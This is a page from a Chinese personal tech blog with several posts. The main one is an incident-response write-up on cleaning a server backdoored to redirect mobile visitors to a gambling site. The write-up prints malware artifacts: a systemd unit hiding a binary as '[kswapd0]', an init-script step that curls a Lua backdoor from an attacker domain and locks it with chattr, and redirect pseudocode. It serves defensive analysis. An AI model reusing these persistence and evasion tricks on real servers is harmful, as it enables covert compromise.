首页
许愿池
友情链接
承接业务
留言板
摄影作品
访客统计
软件下载
WIN软件
MAC软件
关于站长
Search
1
服务器被植入流量劫持后门(跳转世界杯赌球网站)的排查与解决方案
153 阅读
2
飞牛圣体-网心云OES一代安装ARM版FnOS全过程
143 阅读
3
移动光猫吉比特GM232改桥接+开启IPV6+开启Telnet方法
125 阅读
4
2023 玩客云root以及绝育教程 1.3版本
113 阅读
5
飞牛系统(FnOS)挂载SMB目录并设置开机自启
75 阅读
人物
动物
风景
数码
网络
硬件
系统
建站
软件
MacOS
Windows
NAS
docker
esxi
AI
情感
登录
/
注册
Search
标签搜索
mac mini
DSM7
宝塔面板
apple
黑苹果
EOS R6
映泰
验证码
m4
photoshop
云层
风景
摄影
人像
儿童
刀马旦
艺术
万泰
吉比特
WINRAR激活
RongYan
累计撰写
62
篇文章
累计收到
160
条评论
今日撰写
0
篇文章
首页
栏目
人物
动物
风景
数码
网络
硬件
系统
建站
软件
MacOS
Windows
NAS
docker
esxi
AI
情感
页面
许愿池
友情链接
承接业务
留言板
摄影作品
访客统计
软件下载
WIN软件
MAC软件
关于站长
用户登录
登录
注册
搜索到
62
篇与
RONGYAN
的结果
2026-06-21
WINRAR-30年的行为艺术,我们都欠它一个付款记录
WinRAR 收到一笔付款就全网狂欢,这出戏演了 30 年还没停2026 年 6 月 18 日,WinRAR 的官方 X 账号突然发了一条帖子,语气兴奋得像中了彩票:"We got paid... AGAIN! We'll try not to let all this cash go to our heads! 🤑🤑🤑👑💎"("我们又收到钱了!我们会努力不让这些现金冲昏头脑!")短短几天,这条帖子就收获了 15 万点赞、347 万次浏览 和 904 条评论。但真正让这条帖子爆火的,不是帖子本身,而是背后那件事的荒诞感——一个软件收到了一笔付款,官方像中了彩票一样公开庆祝。如果你用过电脑,你大概知道为什么。全世界最著名的"40 天试用"WinRAR 的许可证页面上白纸黑字写着:"The software is distributed as try before you buy. This means that anyone may use the software during a test period of a maximum of 40 days at no charge."("本软件以先试后买的方式分发。任何人可在最长 40 天的试用期内免费使用。")听起来很正常,但所有用过 WinRAR 的人都知道一个公开的秘密:40 天到期之后,软件照常运行,一个功能都不锁。它只做一件事——弹出一个窗口,礼貌地提醒你:"嘿,试用期过了,要不要买个许可证?"你点"关闭",继续用。明天打开,再弹。你再关,再用。就这样,一弹就是十年、二十年、三十年。WinRAR 1995 年诞生,到 2026 年已经 31 岁了。这个弹窗陪着无数人从学生时代走到了职场,成为数字世界里最持久的"温柔催款"。维基百科对这种模式有精确的描述:非企业用户的功能始终可用("the non-enterprise functionalities remain available")。翻译过来就是——官方明知道你不会付钱,但选择不卡你。所以当真的有人掏钱买了许可证,WinRAR 官方的反应就像见到了独角兽。两周之内,"又"收到钱了这次帖子里的"AGAIN"大有来头。就在两周前,6 月 4 日,一个用户发帖 @ 了 WinRAR 官方,配文:"I PAID MY DEBT"(我还债了)。官方立刻发帖庆祝:"Yay! We finally got paid! 🤑🤑🤑😎😍🥳🤣"("耶!我们终于收到钱了!")那条帖子也拿了 7.1 万赞。然后仅仅 14 天后,又一个用户 @ParenteRamon 晒出了自己的 WinRAR 付款截图,官方再次"狂喜"——这次直接冲到 14.5 万赞,翻了一倍。两周内两次"收到钱了",对于 WinRAR 来说可能已经算是史无前例的"营收爆发期"了。一个玩了三年以上的固定节目翻一下 WinRAR 官方的历史帖子,你会发现这个"庆祝有人付费"的套路至少从 2023 年就开始了。2023 年 6 月 6 日,官方发帖:"To all of you who have paid for a license... Cheers to you! #IBoughtWinRAR"("致所有为许可证付费的用户……为你们干杯!")从 2023 年的"为你们干杯",到 2026 年的"我们又收到钱了!"——官方的语气越来越放飞,emoji 越来越密集,自嘲越来越纯熟。三年下来,这个"梗"已经进化成了一套成熟的品牌运营策略。而且它真的在驱动销售。评论区:大型集体忏悔现场主帖下面的评论区,简直就是互联网内疚大会。有人终于来"赎罪"了:"Hey! I bought it too! (after like 25 years... but I bought it!!)"("嘿!我也买了!用了大概 25 年之后……但我买了!!")官方回复:"Better late than never!"(迟到总比不到好!)有人做出了人生规划:"Ever since I was a child, I've dreamt that the first thing I'll do when I get rich is buy a WinRAR license."("从小我就梦想,等我发财了,第一件事就是买一份 WinRAR 许可证。")有人试图打听商业机密:"How is this business strategy called?"官方只回了一个词:"Genius"(天才)。还有人直接开始忏悔,求付款链接:"WinRAR, I'm sorry. My 40-day trial turns 22 this year... DM me the payment link and I'll pay up."("WinRAR 对不起,我的 40 天试用今年已经 22 岁了……把付款链接私信给我,我付。")官方真的给了折扣链接。甚至有人问:你们收到的该不会是 30 年来的第一笔个人付款吧?官方答:"The second... 🤣"(第二笔……)。评论里还有一类声音特别值得注意——真诚的敬意:"WinRAR really respects your peace — no aggressive ads or payment walls, just one polite tab."("WinRAR 真的尊重你的空间——没有侵略性广告或付费墙,就一个礼貌的标签页。")"Not exaggerating... the world would heal faster if all companies ran with this much integrity to its users."("不夸张……如果所有公司都以这样的诚信对待用户,世界会好得更快。")一家活了 30 年的德国小公司很多人可能从没想过 WinRAR 背后是谁。开发者叫 Eugene Roshal,俄罗斯人,1993 年发布了 RAR 命令行工具。他的哥哥 Alexander L. Roshal 负责版权和分发。实际的发行公司是 win.rar GmbH,注册在德国柏林。一个小团队。没有硅谷背景,没有几轮融资,没有上市敲钟。到 2026 年还在安安静静地发布新版本——最新版 7.22。这家公司的收入结构值得细看:企业端是真正的现金牛。公司采购有合规需求——审计要过、许可证要齐,所以批量采购跑不掉。这块收入支撑着公司的运营。个人端才是社交媒体上的主角。每一个真的掏钱买了许可证的个人用户,官方都当成宝贝来庆祝。因为对这样一个小团队来说,每一笔个人订单都意味着两件事:真金白银的现金流,以及一次"有人真的认可我们"的确认。这解释了为什么官方帖子里的狂喜语气不像在演——因为可能真的没在演。WinRAR 的许可证还有一个细节:终身买断制。买一次,永远用,包括未来的版本升级。2026 年,当几乎所有软件都在搞月付订阅、年费会员、功能分级、强制更新的时候,WinRAR 还在坚持三十年前定下的规矩——付一次钱,管一辈子。最成功的催款方式,就是不催回过头来看,WinRAR 的"无限试用"模式能存活 30 年,靠的是一个违反常理的逻辑:压力越小,付费意愿反而越真实。它不锁功能、不插广告、不用倒计时恐吓你,只在你每次打开时弹一个对话框,语气温和到像邻居问你借盐——"要不要考虑一下?"你可以无限期点"关闭",没人会怪你。但正因为这份松弛,当你某一天终于决定付费的时候,那个动作变成了一个主动选择。用户发帖 @ 官方说 "I PAID MY DEBT"(我还债了),那个措辞就是证据——没人逼他,但他觉得自己"欠着"。WinRAR 把潜在的盗版者变成了潜在的付费者,默默等候,无怨无悔。这跟 2026 年主流软件公司的做法正好相反。你随便打开一个订阅制软件——7 天试用到期,功能立刻锁死;升级弹窗每隔五分钟出现一次;想导出你自己的数据?对不起,先给钱。WinRAR 的策略在今天看来几乎像行为艺术:我知道你不会付,但我不卡你。如果你付了,我像中了彩票一样替你庆祝。结果是——每次庆祝都带来新一轮付费。有人看到帖子,突然想起自己用了 20 年没付过钱,于是冲动下单。然后晒出来。然后官方再庆祝。然后更多人看到,更多人下单。一个靠内疚和好感驱动的正循环,不需要一分钱广告预算。最后说一件小事。有用户问官方:许可证会不会过期,换电脑后要不要重买?官方回:"Nope. As long as you keep your license key safe, you can use it FOREVER!"("不用。只要你保管好许可证密钥,就能永远使用!")FOREVER,全大写。一个卖了 30 年软件的公司,在 2026 年还敢对用户说出这个词。你上次听到哪个软件承诺"永久",是什么时候?附: WINRAR官方下载链接 注意:此链接为英文官网汉语界面,非中国官网。请认准.com而非.com.cn,若想使用舒心,请远离.cn的版本(中国特供版,俗称“广告特供版 😂 ”)。{lamp/}
2026年06月21日
7 阅读
0 评论
0 点赞
2026-06-16
轻量级的 Typecho 垃圾评论拦截插件SpamBlocker
这是一个轻量级的 Typecho 插件,通过邮箱、域名、关键词黑名单自动拦截垃圾评论。开发此插件的由来 写这个插件是有原因的,连续两天,一直有个鸟人来我博客发留言(最新两篇文章),他的主要目的其实是发他的算命网站链接。我后台删了他的留言他第二天又来发了。首先不能用禁IP的方式,因为我发现他IP是广西联通(一般都是家庭宽带,这个IP只是他临时的,封了也没用,而且还可能会造成整个广西联通的网都来不了)。一般他会发两条留言,一篇文章一条,留的QQ邮箱都是一样5652xx5524@qq.com,但是在两篇文章中的留言名字改了,配套的网址也不一样,一个叫做免费算命,留的网址是https://www.resoxxxg.cn/,一个叫做姓名测试打分,留的网址是https://www.tiatixxxxxiao.com/。于是针对这个垃圾玩艺,这套插件应运而生。功能环境要求 — 在 Typecho 1.3 上测试通过,其他版本请自行测试邮箱拦截 — 支持部分匹配,如 qq.com 可拦截所有 QQ 邮箱域名拦截 — 拦截评论者填写的网站域名关键词拦截 — 拦截昵称或正文中的关键词两种拦截方式:直接拦截 — 匹配规则时拒绝评论,前台提示错误标记为垃圾 — 匹配规则时标记为 spam 状态,前台不报错也不显示,后台可审查安装将 SpamBlocker 文件夹上传至 /usr/plugins/登录 Typecho 后台,进入 控制台 → 插件找到 SpamBlocker,点击 启用点击 设置,填写拦截规则使用方法在插件设置页面填入需要拦截的内容,每行一条:# 拦截邮箱(部分匹配) spammer@example.com qq.com # 拦截域名(部分匹配) spam-site.cn # 拦截关键词 免费算命选择拦截方式后保存即可生效。数据存储配置存储在 typecho_options 表中,name = 'plugin:SpamBlocker',值为序列化数组。无需手动建表或改表结构。拦截原理通过 Typecho_Plugin::factory('Widget_Feedback')->comment 钩子,在评论提交前对邮箱、网址、昵称、正文进行匹配检查。开源协议MIT已在github上开源, Github开源地址 {lamp/}
2026年06月16日
9 阅读
0 评论
0 点赞
2026-06-13
服务器被植入流量劫持后门(跳转世界杯赌球网站)的排查与解决方案
前言 今天早上遇到一个非常头疼的问题:我的一台云服务器上部署的网站,访问时会有很大概率跳转到赌球网站(刚好世界杯期间,什么牛鬼蛇神都出来了)。更诡异的是,哪怕我放一个纯空白 HTML 页面上去,依然会被劫持。折腾了半天,最终定位到是一套精心伪装的博彩木马。本文记录完整的排查、分析和清理过程。一、症状描述先说环境:三台云服务器,同一家服务商出问题的这台:Ubuntu 系统另外两台正常的:CentOS 系统所有网站运行在 Nginx 上,通过 宝塔面板 管理症状:访问网站(无论哪个域名),浏览器有很高概率跳转到 https://dd0a000h4orvt.cloudfxxxt.net/?cid=8214805 (域名已做了无害处理)这个赌球网站即使是刚上传的空白 test.html(内容就一句 hello),依然会跳转;开启 Cloudflare 小黄云(代理模式)无效,关闭小黄云(DNS only)也无效;从服务器上 curl 访问页面,返回正常,没有任何跳转;另外两台 CentOS 服务器完全正常跳转链(之前没有捕捉到前面那个xyz跳转链接所以走了一些弯路):先是跳转faradfdsa.anfxxc.xyz,接着很快跳转至dd0a000h4orvt.cloudfxxxt.net/?cid=8214805二、初步分析2.1 排除 ISP/DNS 层面因为只有这一台服务器有问题,而三台机器用的是同一家云服务商,所以排除了"运营商线路劫持"的可能。如果是 ISP 层面的劫持,三台服务器应该都会中招。2.2 为什么 Cloudflare 无效Cloudflare 的代理模式会将用户流量先经过 Cloudflare 节点再转发到源服务器。如果劫持发生在源服务器发出响应之后(比如浏览器执行时),那么 Cloudflare 也救不了。2.3 核心疑点:curl 正常但浏览器跳转这说明劫持不是发生在 Nginx 配置层面(因为 curl 返回的是原始响应),而是在更上层——要么是浏览器端被注入 JavaScript,要么是网络传输层被篡改。三、第一轮排查:发现 defunct / iptable6 rootkit3.1 先看 Nginx 配置nginx -T 2>/dev/null | grep -i "redirect\|rewrite\|return 302\|sub_filter"输出中除了正常的 rewrite 规则外,没有发现明显的恶意配置。3.2 检查进程——发现重大线索lsof -i :443输出赫然出现了三个可疑进程:defunct 812 root 3u TCP spk.laws.ms:33018->ec2.us-east-2.amazonaws.com:https (ESTABLISHED) iptable6 817 root 4u TCP spk.laws.ms:54498->ec2-13-57-38-185.us-west-1.compute.amazonaws.com:https (ESTABLISHED) iptable6 28789 root 4u TCP spk.laws.ms:54498->ec2-13-57-38-185.us-west-1.compute.amazonaws.com:https (ESTABLISHED)defunct——这个名字看起来像是进程状态(<defunct> 表示僵尸进程),实则是恶意程序iptable6——伪装成系统工具(正确名称是 ip6tables),拼写故意只差一点点这两个进程都在向外部的 AWS EC2 服务器建立 HTTPS 连接。3.3 定位二进制文件file /usr/bin/defunct /usr/bin/iptable6 ls -la /usr/bin/defunct /usr/bin/iptable6/usr/bin/defunct: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, stripped /usr/bin/iptable6: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header两个文件都是静态链接、strip 去符号,显然是恶意软件标准做法。defunct 的文件日期被伪造为 2003-09-08,而 iptable6 的日期是 2026-04-28,说明是近期才植入的。lsof -i -P -n | grep -E "defunct|iptable6"defunct 812 root TCP 127.0.0.1:33018->212.132.98.170:443 (ESTABLISHED) iptable6 817 root TCP 127.0.0.1:54498->13.57.38.185:443 (ESTABLISHED)两个二进制分别连接不同的 C2 服务器,形成两条指挥通道。3.4 找到自启动持久化机制grep -r "iptable6\|defunct" /etc/init.d/ /lib/systemd/ 2>/dev/null结果令人震惊——几乎每个 /etc/init.d/ 下的脚本都被注入了 /bin/iptable6:/etc/init.d/keyboard-setup.sh:/bin/iptable6 /etc/init.d/apparmor:/bin/iptable6 /etc/init.d/docker:/bin/iptable6 /etc/init.d/open-vm-tools:/bin/iptable6 /etc/init.d/postfix:/bin/iptable6 ...(共 20+ 个文件)更隐蔽的是 systemd 层面:/lib/systemd/system/defunct.service: ExecStart=/bin/bash -c "GS_ARGS='-k /lib/systemd/system/defunct.dat -ilq' exec -a '[kswapd0]' '/usr/bin/defunct'"这里使用了 exec -a '[kswapd0]' 技巧——将进程名伪装成 Linux 内核线程 [kswapd0],用 ps aux 根本看不到它。3.5 查看登录记录——找到攻击来源last -10root pts/2 212.132.98.170 Mon Jun 1 (02:01)6月1日凌晨,一个来自 212.132.98.170 的 IP 通过 SSH 登录了这台服务器——这就是攻击者。3.6 Docker 容器的问题还发现服务器上运行了两个可疑的 Docker 容器:docker ps -atraffmonetizer/cli_v2 ← 带宽贩卖工具 earnfm/earnfm-client:latest ← 同类流量变现服务这两个容器将服务器作为代理出口节点,虽然不是导致劫跳转的直接原因,但它们进一步消耗服务器资源且可能引来更多攻击。第一轮清理操作详情停止并删除 defunct.service systemd 服务✅ rm -f /lib/systemd/system/defunct.service /defunct.dat杀掉 defunct / iptable6 / [kswapd0] 进程✅删除 /usr/bin/defunct / /usr/bin/iptable6✅清理所有 /etc/init.d/* 中的注入命令✅ sed -i '/\/bin\/iptable6/d' /etc/init.d/*删除 traffmonetizer / earnfm Docker 容器✅修改 root / 面板 / 数据库密码✅重启服务器验证✅ 跳转消失第一阶段判断当时以为是 defunct/iptable6 这个 rootkit 做的中间人攻击(MITM),在 HTTP 响应中注入 JavaScript 跳转代码。重启后确认跳转消失,认为是彻底解决了。四、第二轮排查:跳转复发 —— 发现 Nginx Lua 后门4.1 复发清理后不到一个小时,手机端再次出现跳转到赌博网站的问题。PC 端访问正常,手机端(Android/iPhone)依然会 302 跳转。这意味着:不是 defunct/iptable6 导致的(它们已被清除)还有一套独立的、更隐蔽的后门在运行这个后门只针对移动设备——说明攻击者很清楚用户群体4.2 深入排查 Nginx 层再次检查 Nginx 配置,这次更仔细地看有没有加载 Lua 模块:nginx -V 2>&1 | grep -i lua发现 Nginx 编译了 ngx_http_lua_module,说明支持 Lua 处理请求。检查 nginx.conf,发现一行关键配置:lua_package_path "/www/server/nginx/lib/lua/?.lua;;";在 Lua 模块路径中找到一个可疑文件:ls -la /www/server/nginx/lib/lua/-rw-r--r-- 1 www www 20887 Mar 19 12:10 ngxd.lua文件属主是 www(Web 用户),且被 chattr +i 锁定(不可删除)。4.3 ngxd.lua 后门分析这是整个攻击中最精巧的部分。ngxd.lua(20887 字节)是一个完整的 Nginx Lua 后门模块,具备以下功能:功能说明User-Agent 检测根据 UA 判断设备类型(Android / iPhone / PC)并区分处理比例跳转Android 10%、iPhone 10%、PC 0% 的概率触发跳转,控制感染面不易被察觉远程配置从 pull.969a.xyz 拉取配置,可动态调整跳转比例和跳转域名RSA 签名命令执行通过 X-Nginx-Authorize 请求头传递命令,RSA 验签后执行任意 shellBot 伪装Google/Bing/Baidu 爬虫不跳转,避免 SEO 处罚路径例外/admin/、/api/、/login/、/static/ 等路径不跳转跳转参数跳转时在 URL 中携带 Base64 编码的 host\machine_id\device_type核心跳转逻辑:-- 伪代码示意 function process_request() local ua = get_headers("User-Agent") if ua matches "Android" then if math.random() < 0.10 then -- 10% 概率 if not has_cookie("k") then set_cookie("k", "1", 86400) redirect("https://faradfdsa.anfdnc.xyz/...") end end elseif ua matches "iPhone" then -- 相同逻辑,10% 概率 end end4.4 后门加载机制第一次排查后,恢复 nginx.conf、注释掉 #include luawaf.conf;、删除 waf/ 目录,但没有 reload nginx,所以旧 worker 进程继续运行恶意逻辑。这就是为什么 nginx -T 看到的是干净配置,但实际请求仍然被劫持。执行 nginx -s reload 后,新 worker 加载干净配置,跳转停止——导致误判为"已经完全修复"。4.5 真正的持久化机制清理 ngxd.lua 并 reload nginx 后不久跳转复发。这次检查了 /etc/init.d/nginx 启动脚本,发现被篡改:# 在 /etc/init.d/nginx 中,攻击者插入了 prepare_nginx_conf() 函数 # 该函数在每次 nginx start/reload 时自动执行 prepare_nginx_conf(): 1. 检测 nginx.conf 中是否有 lua_package_path 2. 有 → 将 DIR 设为 /www/server/nginx/lib/lua/ngxd.lua 3. 通过 curl 从 https://pull.969a.xyz/ngxd.lua 下载后门 4. chattr +i 锁定、chown www:www 伪造 Web 上传痕迹 5. 向 VHOST_PATH 写入 _.conf,写入内容: rewrite_by_lua_block { local diversion = require "ngxd" diversion.process_request() } 6. nginx 加载配置(_.conf 被 include 进来) 7. **立刻删除 _.conf** ← 灭迹关键为什么第一次没发现:原因说明注意力集中在 nginx 配置层nginx -T、vhost conf、Lua 钩子,没检查 /etc/init.d/_.conf 转瞬即逝只在 nginx 启动时存在几毫秒,加载完立刻被删nginx -T 看不到运行时 _.conf 已不存在,dump 的配置是干净的启动脚本不常被审计相比 nginx.conf 和 PHP 文件,init.d 脚本容易被忽视正确做法:找到可疑文件后,立即全系统检索其名称或相关字符串:grep -rn "ngxd\|pull.969a" /etc/ /root/ /usr/local/ 2>/dev/null4.6 攻击链还原宝塔面板 RCE(root 权限) → 第一阶段:植入 defunct/iptable6 rootkit + 带宽贩卖 Docker 容器 → 2026-06-13 第一次排查,清除 rootkit → 第二阶段:通过 init 脚本注入防删除机制 → 篡改 /etc/init.d/nginx,插入 prepare_nginx_conf() 函数 → 上传 ngxd.lua 到模块路径,chown www:www 伪造成 Web 漏洞 → 第一次排查时,木马恢复 nginx.conf、删除 waf/ 目录 → 但未执行 nginx reload,旧 worker 继续跳转 → nginx -s reload 后跳转消失,导致我误以为修复 → 接着我把宝塔面板自动升级触发 nginx restart → init 脚本自动下载 ngxd.lua + _.conf → 跳转复发 → 第二次排查发现 init 脚本被篡改 → 彻底清除已知恶意域名域名用途212.132.98.170攻击者 SSH 来源 + defunct C213.57.38.185iptable6 C2(AWS EC2)faradfdsa.anfXXc.xyz跳转中间站dd0a000h4orvt.cloudfXXXt.net最终赌博站(CloudFront CDN)pull.969a.xyzngxd.lua C2 配置拉取五、第二轮清理5.1 清除 Lua 后门操作状态删除 /www/server/nginx/lib/lua/ngxd.lua✅同时检查并删除其他路径(btwaf / free_waf)✅删除 /tmp/.machine_id / timestamp.txt / ngxd_*✅5.2 修复 nginx 启动脚本# 将 /etc/init.d/nginx 替换为干净的系统版本 # 用 chattr +i 锁定,防止再次被篡改 chattr +i /etc/init.d/nginx5.3 完全重启 nginx/etc/init.d/nginx stop sleep 2 /etc/init.d/nginx start注意:必须 restart(先 stop 再 start),因为 init 脚本的注入点只在 start 阶段执行。用 reload 不会触发 prepare_nginx_conf()。5.4 验证# 手机 UA 测试本地 curl -A "Mozilla/5.0 (Linux; Android 13)" http://127.0.0.1 # → 200 OK(无跳转) # 手机 UA 测试外网 curl -A "Mozilla/5.0 (Linux; Android 13)" http://223.254.130.86 # → 200 OK(无跳转) # 多轮确认 ngxd.lua 未复现 for i in 1 2 3; do [ -f /www/server/nginx/lib/lua/ngxd.lua ] && echo "WARNING" || echo "Check $i: clean" sleep 10 done最终验证结果检查项结果rootkit 扫描(chkrootkit / unhide)✅ 无 rootkit隐藏进程✅ 无SSH 密钥✅ 仅授权密钥系统 cron✅ 无恶意任务面板插件✅ 仅标准插件ngxd.lua 30 秒内复现检测(3 轮)✅ 未复现手机 UA 跳转(3 轮)✅ 均返回 200六、其他安全检查检查项结果SSH 配置✅ 密钥登录,禁用密码Cron 任务✅ 仅宝塔面板 SSL 续签任务PHP .user.ini✅ 无 auto_prepend_file.htaccess✅ 无恶意重写规则PHP 扩展✅ 无可疑 .soLD_PRELOAD✅ 未设置Systemd 服务✅ 无恶意服务PHP webshell✅ 未发现SUID 二进制✅ 标准系统文件Docker 容器✅ 已全部清理iptables NAT✅ 仅 Docker MASQUERADE七、投毒入口分析证据链证据结论ngxd.lua 目录属主 rootwww 用户无法写入,文件不可能是 Web 漏洞上传nginx.conf / enable-php-00.conf 均属主 root需 root 权限才能修改ngxd.lua 被 chown www:www人为伪造成 Web 上传痕迹,误导排查方向宝塔面板版本 11.3.0(存在已知 RCE)宝塔面板 RCE 是最可能的初始入口结论:宝塔面板 RCE 是最可能的入侵入口本次感染的攻击面是 Nginx 层面的 Lua 后门 + init 脚本持久化,不涉及 PHP 代码层面。服务端已清理完毕后,本地源码确认干净。八、经验和教训不能只看运行时配置:nginx -T 看到的配置可能和实际运行的不一致——_.conf 只在启动瞬间存在查文件来源比删文件重要:找到文件后应追溯"谁写进来的",否则会复发。grep -rn "关键词" /etc/ /root/ 应在第一时间执行持久化机制常藏在启动脚本:/etc/init.d/、systemd units、cron、rc.local 都是需要重点检查的位置chattr +i 要双向使用:不仅要锁定恶意文件,更要锁定关键系统脚本本身进程伪装越来越高级:exec -a '[kswapd0]' 把进程名伪装成内核线程,ps 发现不了,必须用 lsof 查网络连接curl 正常 ≠ 网站正常:服务端本地 curl 看到的是原始响应,但浏览器请求可能被 Lua 层的 302 劫持多维度排查顺序:Nginx 配置 → 系统进程 → 网络连接 → 启动脚本 → 登录日志,缺一不可宝塔面板是最薄弱环节:面板以 root 运行、暴露在公网、历史漏洞多,安全问题任重道远。九、建议措施立即执行# 修改所有数据库密码、Redis 密码 # 修改宝塔面板密码和密钥 # 更新宝塔面板至最新版 bt upgrade # 安装 Fail2Ban 防止爆破 apt install fail2ban -y systemctl enable fail2ban systemctl start fail2ban # 锁定关键配置文件 chattr +i /www/server/nginx/conf/nginx.conf长期建议定期扫描:安装 rkhunter 和 chkrootkit,每周扫描文件完整性:对 /www/server/nginx/conf/、/usr/bin/ 等关键目录启用 tripwire 或 AIDE日志监控:启用访问日志,监控异常重定向和 SSH 登录最小权限:检查 www 用户对系统非必要目录的写权限宝塔面板:限制面板仅内网访问,或绑定域名 + HTTPS 访问SSH 安全:确认 authorized_keys 已配置,关闭密码登录,修改端口记录于 2026 年 6 月 13 日PS:真羡慕韩国球迷啊!祝国足本期世界杯“夺冠”!!!
2026年06月13日
153 阅读
2 评论
1 点赞
2026-06-12
修改VisitorLoggerPro插件适配Joe主题前端访客统计独立页
一、VisitorLoggerPro介绍本站用的访客统计插件名称叫VisitorLoggerPro: 作者开源地址 并且作者还专门做了一个前端访客统计独立页,但是只适配handsome主题,我试了在JOE主题下是无法正常使用的。于是我对其进行了一些修改,以使其能够在Joe主题下可以正常使用,可以在我的网站导航菜单点击访客统计查看。二、VisitorLoggerPro 适配 Joe主题修改主要的一些修改:1、改变前端样式结构,使其适应joe主题;2、改变读取数据库方式,使其在Joe主题下能够正常读取数据并显示;3、原插件默认显示最近7天数据,改为默认显示当天数据;三、在Joe主题下的使用方法正常安装插件后,将插件目录下的visitor-stats.php拷贝到主题joe目录,在后台创建独立页,选择访客统计模板即可。四、下载地址百度网盘,回复可见:隐藏内容,请前往内页查看详情
2026年06月12日
30 阅读
1 评论
0 点赞
2026-05-31
Typecho 1.3+Php8.0可以使用的图片水印插件
经常来看我博客的访客都会知道,我的博客文章中的图片都会有一个域名文字的水印。所以也经常在后台有人私信问我这个水印是怎么弄的。其实这是一个插件,原作者插件github开源地址(感谢!): 图片水印插件 然后根据你自己的需求,弄两张水印图(一大一小,覆盖大的图片和小的图片,Png格式)如下图,看上去似乎一样,实际上分辨率是不同的,就是同一张图我在PS中导出为两种分辨率的而已。我这里一开始就是随便测试的两张图,没想到效果出奇的符合我的味口,所以就一直沿用至今:后台的插件设置也非常简单直接:这样子你在编写文章的时候,上传的图片会自动进行水印处理。但是作者的这个插件好久没有更新了,我测试了在我的php8.2下有一些问题。我的博客之前用的老服务器是php7.4,这个插件使用一切正常。昨天我的博客进行了搬家,现在新的服务器是php8.2,这个插件就不正常了,症状是上传图片会显示上传失败,但实际上图片已经上传成功了,水印也附着了,就是需要刷新网页才能显示出来。后来查了日志才知道是这个水印插件的问题,waterMark插件在返回JSON前输出了PHP8.2弃用警告,导致整个响应不是合法的JSON,JavaScript解析失败。说人话就是imgfunc.php参数顺序不符合PHP8.2,必选参数在可选参数之后,输出Deprecated 警告污染了JSON响应。上传其实是成功的(文件已保存),但浏览器解析JSON时报错,所以显示"上传失败"。修复方法:修正 waterMark 插件的函数参数顺序。改动的地方有两处:imgfunc.php:6 — 把 $w_pct, $w_quality 移到可选参数前面 Plugin.php:79 — 同步调整调用顺序为了以后更新方便,我直接把作者的github项目fork之后更新了:本次更新日志(2026-05-31):兼容 PHP 8.0+修复 ImgWaterMark() 函数参数顺序:将必选参数 $w_pct、$w_quality 移至可选参数之前解决 PHP 8.0+ 报 Deprecated: Optional parameter declared before required parameter 警告的问题修复因该警告导致 Typecho 上传图片后 JSON 响应被污染、前端提示"上传失败"的 bug下载地址(回复可见):{hide}
2026年05月31日
16 阅读
0 评论
2 点赞
2026-05-31
换了新服务器&彻底解决Typecho博客头像源显示问题
序言:服务器搬家了~今天是个里程碑的日子,因为网站正式搬迁到新家落户了!虽然都是香港的服务器,但是这个是CN2,懂的都懂。为何又是香港而不是内地的服务器,懂的也都懂。和nobbcc的站长认识,他给了我JOE主题的魔改包,可惜原来的服务器上面有太多的兼容性问题,一直没能够用上。旧务器是Nginx 1.28+PHP7.4+MySQL 5.7,新服务器是Nginx 1.3+PHP8.2+MySQL8.0,刚好乘这个机会直接把主题用新版的了。有兴趣的可以去nobcc站长的博客去下载:JOE魔改主题下载地址(基于JOE 7.7.1魔改优化而来)Typecho 的头像源问题一番测试下来,感觉良好,就是有一个打从Typecho娘胎里带来的怪病(中国大陆地区水土不服),访客头像破图问题依然存在。相信用Typecho做博客的站长都知道,网上一堆的说法就是换Cravatar的解析地址。虽然我换了国内的cravatar.cn地址,可是我测试换过了依然有的访客的头像是破的,或者是灰色的(无头像,加载不了QQ邮箱头像+没有注册Cravatar头像的邮箱地址大有人在)。于是我试着解决这个问题。我用好几个邮件地址作了测试,诸如123@qq.com(这个能正常加载头像)、abc@qq.com(QQ别名邮箱地址,很难加载头像,显示破图)、abc@163\sina\gmail\msn等等,有一半的机率是灰图以及破图,很不好看。通过分析代码分析可能的原因:1、头像走的是library/avatar.php代理(服务器去下载头像再返回),服务器连不上外部源就会破图。2、QQ邮箱头像接口只能通过纯数字QQ号查询头像。诸如abc@qq.com这样的邮箱前缀不是数字,所以走不到QQ头像通道,降级到Cravatar查头像,而该邮箱没有注册 Cravatar/Gravatar,就返回了默认灰图(其它非qq.com邮箱同理)。所以我现在解决的方式是这样:1、头像函数从本地代理avatar.php改为直链cravatar.cn(QQ邮箱自动优先用QQ头像);2、非QQ邮箱同步头像源改为从cravatar.cn获取;3、在JOE主题目录下新建avatar头像目录并存放了100多张随机头像,若以上都失败(非QQ邮箱,也没在Cravatar注册头像),根据邮箱的MD5哈希值取模,从本地头像目录里选一张固定分配给该邮箱——同一个邮箱始终显示同一张图。解决方法一、先直接切回直链方式,改为直接输出 CDN 地址:1、编辑 function.php 位于/usr/themes/joe/core//* 头像函数从本地代理 avatar.php 改为直链 cravatar.cn(QQ 邮箱自动用 QQ 头像),从第311行开始 */ echo $timeTotal < 1 ? $timeTotal * 1000 . 'ms' : $timeTotal . 's'; } function _getAvatarByMail($mail) { $themeUrl = Helper::options()->themeUrl; $encodedMail = base64_encode($mail); $proxyUrl = $themeUrl . '/library/avatar.php?data=' . $encodedMail; echo $proxyUrl; } /*function _getAvatarByMail($mail) { $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cn.cravatar.com/avatar/'; $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = strtolower($mail); $md5MailLower = md5($mailLower); $qqMail = str_replace('@qq.com', '', $mailLower); if (strstr($mailLower, "qq.com") && is_numeric($qqMail) && strlen($qqMail) < 11 && strlen($qqMail) > 4) { echo 'https://thirdqq.qlogo.cn/g?b=qq&nk=' . $qqMail . '&s=100'; } else { echo $gravatarsUrl . $md5MailLower . '?d=mm'; } };*/ }; /* 评论名片*/ function get_comment_card_info($comments) { // 静态变量缓存:确保单次请求中,相同数据只计算一次2、编辑 core.php 位于/usr/themes/joe/core//* 同步头像源默认地址改为 cravatar.cn,从第271行开始 */ function _getAvatarUrlByMail($mail) { if (empty($mail)) {$mail = '';} $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cn.cravatar.com/avatar/'; $gravatarsUrl = Helper::options()->JCustomAvatarSource ? Helper::options()->JCustomAvatarSource : 'https://cravatar.cn/avatar/'; $mailLower = 